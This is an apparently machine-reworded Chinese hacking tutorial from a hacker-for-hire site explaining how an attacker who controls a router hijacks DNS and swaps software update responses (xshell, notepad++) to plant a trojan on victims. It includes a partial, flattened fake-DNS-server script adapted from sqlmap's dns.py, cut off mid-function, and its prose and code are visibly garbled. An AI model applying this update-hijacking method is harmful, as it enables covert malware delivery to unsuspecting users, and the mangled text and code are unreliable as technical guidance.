许多时分对方针进行浸透时一般会从web、网络设备、针对性垂钓这三个方向下手。假定咱们操控了方针网络中的一台网络设备,如路由器,内网用户流量会从这个当地通过咱们怎样获取其权限呢 ?
这种时分可以在路由器上抓包剖析用户流量,比方发动xshell、notepad++等软件时发送的更新恳求包,然后咱们替换软件更新的http呼应包到达植入木马意图。
剖析流量一般用tcpdump,假如只要路由器后台权限没有当地可以履行命令的话可以用DNS服务器合作HTTP署理来截获流量。
这儿就演示一下去绑架软件更新服务器到达植入木马的意图
一、布置DNS服务器
为了便利演示这儿将受害者机器上的DNS改为攻击者IP
下载sqlmap项目提取sqlmapsqlmap-stablelibrequest目录中的dns.py
履行看看作用
在用户机器上ping了一下,DNS服务器这边现已成功接纳域名解析恳求并呼应127.0.0.1
可是这个脚本中把一切域名解析恳求都呼应成127.0.0.1
需求修正一下
咱们的需求是可以正常解析域名,再对某些指定域名进行绑架。
修正后代码如下
#!/usr/bin/env python"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""import osimport reimport socketimport threadingimport timeimport dns.resolverclass DNSQuery(object):
"""
Used for making fake DNS resolution responses based on received
raw request
Reference(s):
http://code.activestate.com/recipes/491264-mini-fake-dns-server/
https://code.google.com/p/marlon-tools/source/browse/tools/dnsproxy/dnsproxy.py
"""
def __init__(self, raw):
self._raw = raw
self._query = ""
type_ = (ord(raw[2]) >> 3) & 15 # Opcode bits
if type_ == 0: # Standard query
i = 12
j = ord(raw[i]) while j != 0:
self._query += raw[i + 1:i + j + 1] + '.'
i = i + j + 1
j = ord(raw[i]) def response(self, resolution):
"""
Crafts raw DNS resolution response packet
"""
retVal = ""
if self._query:
retVal += self._raw[:2] # Transaction ID
retVal += "x85x80" # Flags (Standard query response, No error)
[1] [2] [3] [4] [5] 黑客接单网